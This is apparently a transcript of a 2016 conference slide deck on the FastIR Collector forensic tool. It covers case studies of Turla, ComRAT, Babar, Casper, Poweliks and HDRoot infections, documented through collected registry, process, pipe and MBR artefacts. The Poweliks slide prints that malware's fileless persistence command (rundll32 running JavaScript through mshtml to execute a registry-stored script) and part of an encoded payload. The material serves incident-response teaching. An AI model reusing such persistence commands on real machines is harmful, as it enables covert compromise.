Upload File

complex malware & forensic investigationcomplex malware & forensics investigation |...

  • Home
  • Documents
  • Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state
47
Complex malware & forensic investigation CoRI&IN 2016 – Paul Rascagneres & Sebastien Larinier

Upload: others

Post on 04-Jul-2020

11 views

Category:

Documents


0 download

Report

TRANSCRIPT

Page 1: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

Complex malware & forensic

investigation

CoRI&IN 2016 – Paul Rascagneres & Sebastien Larinier

Page 2: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | about us

2

Me: Paul Rascagnères

Twitter account: @r00tbsd

Senior threat researcher at CERT SEKOIA

Author of the French book

"Malwares - Identification, analyse et eradication"

(ISBN: 978-2746079656)

Co-Organizer of Botconf

Located in our offices in Luxembourg & Paris

Page 3: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | about us

3

Me: Sebastien Larinier

Twitter account: @sebdraven

Digital Forensics and Incidence Response at

CERT SEKOIA

Member of the Honeynet Project

Co-Organizer of Botconf

Located in Paris

Page 4: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

What is FastIR Collector?

4

Page 5: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | What is FastIR Collector?

5

FastIR Collector:

- Open Source project sponsored by SEKOIA

- http://github.com/SekoiaLab/FastIR_Collector

- configurable forensic collector

- standalone

- 32/64b

- Windows XP -> 10 (Workstation & Server)

http://github.com/SekoiaLab/FastIR_Collector
Page 6: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | What is FastIR Collector?

6

FastIR Collector:

Page 7: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | What is FastIR Collector?

7

Collected artefacts:

- MFT

- MBR

- RAM

- HDD

- processes

- named pipes

- MRU

- recent docs

- event logs

- prefetch

- drives

- browsers history

- recycle bin

- startups

- shellbags

+ FileCatcher

- files collect

- hashes

- …

- …

Page 8: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | What is FastIR Collector?

8

Filecatcher description

[filecatcher]

recursively=True

path=c:\tmp|*,c:\temp|*,c:\recycler|*,%WINDIR%|*,%USERPROFILE%|*

mime_filter=application/msword;application/octet-stream;application

/xarchive;application/x-ms-pe;application/x-ms-dosexecutable;applica

tion/x-lha;application/x-dosexec;application/xelc;application/x-exec

utable, statically linked, stripped;application/x-gzip;application/x

-object, not stripped;application/x-zip;

mime_zip=application/x-ms-pe;application/x-ms-dosexecutable;applica

tion/x-dosexec;application/x-executable, statically linked, stripped

compare=AND

size_min=6k

size_max=100M

ext_file=*

zip_ext_file=*

zip=True

Page 9: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | What is FastIR Collector?

9

Filecatcher description + signature filter

Page 10: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

What is the goal of this talk?

10

Page 11: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | What is the goal of this talk?

11

Use on real cases such as:

- rootkit

- bootkit

- userland RAT

- …

Provide a document with a detailed description of

each case studies on our blog:

http://www.sekoia.fr/blog/fastir-collector-on-advanced-threats/

http://www.sekoia.fr/blog/fastir-collector-on-advanced-threats/
Page 12: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Case studies

12

Page 13: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Case 1: Uroburos/Turla/Snake

13

Page 14: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Uroburos/Turla/Snake

14

Malware description:

- rootkit publicly released in 02/2014

- probably state sponsored

- it uses 2 Virtual File Systems

- hides itself (driver file .sys + registry)

Live forensics collect on this kind of case is always

complicated: we cannot trust the system behavior

Page 15: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Uroburos/Turla/Snake

15

FastIR Collector:

Driver identification via the filecatcher

(.zip + _Filecatcher.csv):

paul@lab:~$ unzip -l HES-demo_files_.zip

Archive: HES-demo_files_.zip

Length Date Time Name

--------- ---------- ----- ----

210944 2015-10-08 11:07 WINDOWS/$NtuninstallQ817473$/fdisk.sys

224768 2007-11-06 19:23 WINDOWS/WinSxS/x86_Microsoft.VC90/msvcm90.dll

59904 2007-11-06 21:51 WINDOWS/WinSxS/x86_Microsoft.VC90/mfcm90.dll

59904 2007-11-06 21:51 WINDOWS/WinSxS/x86_Microsoft.VC90/mfcm90u.dll

--------- -------

555520 4 files

"HES-demo","Filecatcher","2015-10-08 11:07:40.763156",

"C:\WINDOWS\$NtuninstallQ817473$\fdisk.sys",

"50edc955a6e8e431f5ecebb5b1d3617d3606b8296f838f0f986a929653d289ed ",

"application/x-ms-dosexecutable","True","False",

http://www.virustotal.com/en/file/50edc955a6e8e431[...]929653d289ed/analysis

Page 16: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Uroburos/Turla/Snake

16

FastIR Collector:

Persistence identification (_startup.csv):

"HES-demo","registry_services","2015-10-15 10:28:32",

"HKEY_LOCAL_MACHINE",

"System\CurrentControlSet\Services\Ultra3","ImagePath",

"VALUE","REG_SZ",

"\SystemRoot\$NtuninstallQ817473$\fdisk.sys"

Page 17: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Uroburos/Turla/Snake

17

FastIR Collector:

Named pipe identification (_named_pipes.csv):

"HES-demo","named_pipes","\\.\pipe\isapi_http2"

"HES-demo","named_pipes","\\.\pipe\isapi_dg2"

"HES-demo","named_pipes","\\.\pipe\isapi_http"

"HES-demo","named_pipes","\\.\pipe\isapi_dg"

Page 18: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Uroburos/Turla/Snake

18

FastIR Collector:

VFS identification (_prefetch.csv):

\DEVICE\RAWDISK1\KLOG

\DEVICE\RAWDISK1\$MFT

\DEVICE\RAWDISK1\QUEUE

Page 19: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Case 2: ComRAT

19

Page 20: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | ComRAT

20

Malware description:

- user land RAT

- developed by the same author than Uroburos

- uncommon persistence (COM Object hijack)

Page 21: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | ComRAT

21

FastIR Collector:

Malware identification (.zip):

paul@lab:~$ unzip -l HES-demo_files_.zip

Length Date Time Name

--------- ---------- ----- ----

260096 2008-04-14 14:00 Documents and Settings/demo

/Application Data/Microsoft/credprov.tlb

51200 2008-04-14 14:00 Documents and Settings/demo

/Application Data/Microsoft/shdocvw.tlb

224768 2007-11-06 19:23 WINDOWS/WinSxS/x86_Microsoft

.VC90/msvcm90.dll

59904 2007-11-06 21:51 WINDOWS/WinSxS/x86_Microsoft

.VC90/mfcm90.dll

59904 2007-11-06 21:51 WINDOWS/WinSxS/x86_Microsoft

.VC90/mfcm90u.dll

Page 22: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | ComRAT

22

FastIR Collector:

Persistence identification not visible…

HKCU\Software\CLSID\{42aedc87-2188-41fd-b9a30c966feabec1}\InprocServer32

Page 23: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | ComRAT

23

FastIR Collector:

Library injection (_processes_dll.csv):

"HES-demo","processes_dll","1420","C:\WINDOWS\Explorer.EXE“

,"C:\Documents and Settings\demo\Application Data\Microsoft

\shdocvw.tlb"

"HES-demo","processes_dll","1420","C:\WINDOWS\Explorer.EXE“

,"C:\Documents and Settings\demo\Application Data\Microsoft

\credprov.tlb"

Page 24: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Case 3: Babar

24

Page 25: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Babar

25

Malware description:

- user land RAT

- probably developed by a French intel agency

Page 26: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Babar

26

FastIR Collector:

Persistence identification (_startup.csv)

"HES-demo","startup","2015-10-08 11:20:21",

"HKEY_LOCAL_MACHINE","Software\Microsoft\Windows

\CurrentVersion\Run ","MSSecurity","VALUE","REG_SZ",

"""regsvr32.exe"" /s /n /i ""C:\Documents and Settings

\All Users\Application Data\perf_585.dll"""

Page 27: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Babar

27

FastIR Collector:

Process identification (_processes.csv)

"HES-demo","processes","1828","regsvr32.exe",

"""C:\WINDOWS\system32\regsvr32.exe"" /s /n /i

""C:\Documents and Settings\All Users\Application Data

\perf_585.dll""","C:\WINDOWS\system32\regsvr32.exe"

Page 28: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Babar

28

FastIR Collector:

Library injection (_processes_dll.csv)

"HES-demo","processes_dll","1440","C:\WINDOWS\Explorer.EXE“

,"C:\Documents and Settings\All Users\Application Data\

perf_585.dll"

"HESdemo","processes_dll","1788","C:\WINDOWS\system32\

VBoxTray.exe","C:\Documents and Settings\All Users\

Application Data\perf_585.dll"

"HESdemo","processes_dll","1848","C:\WINDOWS\system32\

ctfmon.exe","C:\Documents and Settings\All Users\

Application Data\perf_585.dll"

Page 29: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Case 4: Casper

29

Page 30: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Casper

30

Malware description:

- user land RAT

- probably developed by the same team than Babar

Page 31: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Casper

31

FastIR Collector:

Persistence identification (_startup.csv)

"HES-demo","startup","2015-10-08 11:30:07",

"HKEY_LOCAL_MACHINE","Software\Microsoft\Windows

\CurrentVersion\Run ","VBOX Audio Interface Device

Manager","VALUE","REG_SZ","""C:\Program Files\

Fichiers communs\VBOX Audio Interface Device Manager

\aiomgr.exe"" 3071006457"

Page 32: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Casper

32

FastIR Collector:

Filecatcher doesn’t detect the file because it is stored

in “Program Files” and this directory is not scannedby default.

Page 33: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Case 5: Poweliks

33

Page 34: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Poweliks

34

Malware description:

- user land RAT

- first file less malware

- entirely in registry

- uses non-ASCII characters

Page 35: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Poweliks

35

FastIR Collector:

Persistence identification (_startup.csv)

"PC-demo","startup","2015-10-08 14:28:18","HKEY_USERS",

"S-1-5-21-2108495583517838646-14091684911000\Software\

Microsoft\Windows\CurrentVersion\Run","\x01\x00\x01",

"VALUE","R EG_SZ","rundll32.exe javascript:""\..\mshtml,

RunHTMLApplication "";document.write(""\74script language=

jscript.encode>""+(new%20ActiveXObject(""WScript.Shell""))

.RegRead(" "HKCU\\software\\microsoft\\windows\\

currentversion\\run\\"")+""\74/script>"" )“

"PC-demo","startup","2015-10-08 14:28:18","HKEY_USERS",

"S-1-5-21-2108495583517838646-14091684911000\Software\

Microsoft\Windows\CurrentVersion\Run","","VALUE","REG_SZ",

"#@~^ kXcAAA==W!x^DkKxP^WTcV* ODH ax +h,)mDkp64N+1YcJ\dX:s

cj+M\n.oHSuP:n vcTr#IXRKw+ `r!2:JSJ4YO2=zz6C+(NGc^G:JVKo_

Page 36: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Case 6: HDRoot

36

Page 37: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | HDRoot

37

Malware description:

- bootkit (infects the MBR)

- not “really” a malware

Page 38: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Casper

38

FastIR Collector:

MBR collect in raw or with the ASM code:bootloaderAssemblyCode.txt

Page 39: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Casper

39

FastIR Collector:

MBR compromise identification

Before:00: 33c0 XOR AX, AX

02: 8ed0 MOV SS, AX

04: bc007c MOV SP, 0x7c00

07: 8ec0 MOV ES, AX

09: 8ed8 MOV DS, AX

0b: be007c MOV SI, 0x7c00

0e: bf0006 MOV DI, 0x600

11: b90002 MOV CX, 0x200

14: fc CLD

After:00: 33c0 XOR AX, AX

02: 8ed0 MOV SS, AX

04: bc007c MOV SP, 0x7c00

07: eb69 JMP 0x72

09: 8ed8 MOV DS, AX

0b: be007c MOV SI, 0x7c00

0e: bf0006 MOV DI, 0x600

11: b90002 MOV CX, 0x200

14: fc CLD

Page 40: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

CoRI&IN release…

40

Page 41: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

CoRI&IN release…

41

Linux collector

Page 42: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Linux collector?

42

FastIR Collector Linux:

- Open Source project sponsored by SEKOIA

- https://github.com/SekoiaLab/Fastir_Collector_Linux

- standalone

- 32/64b

- it works probably on MacOS

https://github.com/SekoiaLab/Fastir_Collector_Linux
Page 43: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Linux collector?

43

Collected artefacts:

- Kernel version

- Network interfaces

- hostname

- Distribution version

- Last Logins

- Connections

- Handles

- Hidden files

- SSH know_host

- /tmp

- Autoruns (*.d+cron)

- List of partitions

- MBR

- File information

- …

Page 44: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Conclusion

44

Page 45: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Conclusion

45

FastIR Collector:

- is not perfect

- some artifacts are missing

But:

- it’s open source: feel free to open issues, requests…

- it’s maintained

- it’s really use during incident response

Page 46: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Complex malware & forensics investigation | Conclusion

46

We would like to thanks the members of the

SEKOIA CERT who use/correct/comment/…

our collector since years now!!

Page 47: Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

SEKOIA

Thank you for your attention.

Questions or awkward silence?

47


Ch 12: Covert Malware Launching - samsclass.info · Practical Malware Analysis Ch 12: Covert Malware Launching Last revised: 4-10-17. Hiding Malware • Malware used to be visible

Malware Analysis Workshop June 5, 2012 - CCDCOE · Malware Analysis Workshop June 5, 2012 ... •Malware Analysis methods ... •Some malware doesnt run in Norman Sandbox

MALWARES MALWARE REVIEWED ISE DE Malware Reviewed · MALWARES There are public reports about spreading of malware named as ServHelper malware. It is a backdoor malware used by attacker

Malware and anti-malware (fun with Trojans) - Z. …z.cliffe.schreuders.org/edu/FS/Malware and anti-malware... · 2014-04-02 · Malware and anti-malware (fun with Trojans) ... with

TURLA LIGHTNEURON · Turla, also known as Snake, is an infamous espionage group active for at least a decade. The group is well known for its advanced custom tools and its ability

Evaluating Open Source Malware Sandboxes with Linux malware

Malware & Anti-Malware

Reversing & Malware Analysis Training Part 9 - Advanced Malware Analysis

Malware - courses.cs.washington.edu · 2015. 5. 15. · Malware • Malicious’code’often’masquerades’as’good’ software’or’attaches’itself’to’good’software’

Reversing & malware analysis training part 9 advanced malware analysis

The power of cyber protection fileCyBrave Certified Malware Analysis Investigator (CCMAI|CCMAIE) Malware Analysis Investigator Entry Level Malware Analysis Investigator Malware Analysis

Diplomats in Eastern Europe Bitten by a Turla Mosquito · PDF fileDiplomats in Eastern Europe bitten by a Turla mosquito ESET, spol. s r.o. January 2018

Mobile Malware Network View - Black Hat · Mobile Malware Network View ... ... Windows Malware impacts mobile

Part 4: Malware Functionality Chapter 11: Malware Behavior Chapter 12: Covert Malware Launching Chapter 13: Data Encoding Chapter 14: Malware-focused Network

Improving accuracy of malware detection by …...FFRI, Inc. Background – malware and its detection 4 Increasing malware Targeted Attack (Unknown malware) Malware generators Obfuscators

Intrusion Detection and Malware Analysis - Malware collection134.2.173.140/lehre/ws10/ids-malware/12-malware-collection.pdf · Intrusion Detection and Malware Analysis Malware collection

Introduction to Mobile Malware. Outline ➢ Introduction ➢ Types of Malware ➢ Malware examples ➢ How Malware Spreads ➢ Prevention ➢ AndroRAT Hands-on Lab

Turla - operations & development · Turla: Staged operation Stage 0 –attack stage - infection vector Stage 1 –reconaissance stage - initial backdoor Stage 2 –lateral movements

Malware Analysis and Antivirus Technologies: Kernel Malware & A Look at Malware … · 2011-08-16 · Malware Analysis and Antivirus Technologies: Kernel Malware & A Look at Malware

Threat Bulletin Fileless Malware The Stealth Attacker · Threat Bulletin See. Control. Secure. Fileless Malware - The Stealth Attacker Fileless malware (FM), aka “non-malware”,

THE EVOLUTION OF MALWARE & FUTURE MALWARE MITIGATION

Malware Analysis Without Looking At Assembly Codegauss.ececs.uc.edu/Courses/c5155/pdf/malware-analysis.pdf · 2015. 11. 20. · Malware Analysis Malware typically employs encryption:

Practical Malware Analysis: Ch 11: Malware Behavior

Chapter 8 Malware - FTMS · – Boot virus – Logic Bomb virus – Directory virus – Resident virus. CSCA0101 Computing Basics 8 Malware Types of Malware ... Malware Types of Malware

Reversing malware analysis training part8 malware memory forensics

Satellite Turla: APT Command and Control in the Sky - Paper · PDF file2015/10/28 Satellite Turla: APT Command and Control in the Sky ... S21Sec researcher Leonardo Nve Egea. To hijack

Malware and Anti-Malware Seminar by Benny Czarny

Reversing malware analysis trainingpart9 advanced malware analysis

Computer Virology and Mobile Malware Detection · 2019-03-14 · Outline •Introduction •Computer Virology • Malware taxonomy • Encrypted malware •Malware Detection •Mobile

Malware Analysis Analysis.pdf · Definisi Malware Analysis • What is a malware? • Malware (malicious software) ... Malware Sinkronisasi Token • Pelaku: Zeus Banking Trojan •

TURLA LIGHTNEURON · 2020-04-08 · Microsoft Exchange mail servers. ... threatintel@eset com . Turla LightNeuron5 O 2. ... It is typically hard to gain this level of privilege on

Intrusion Detection and Malware Analysis - Malware analysis · Intrusion Detection and Malware Analysis Malware analysis Pavel Laskov Wilhelm Schickard Institute for Computer Science

Intrusion Detection and Malware Analysis - Malware collection

Advanced Malware Analysis Training Session 6 - Malware Sandbox Analysis

Windows Malware Firewall: Remove Windows Malware Firewall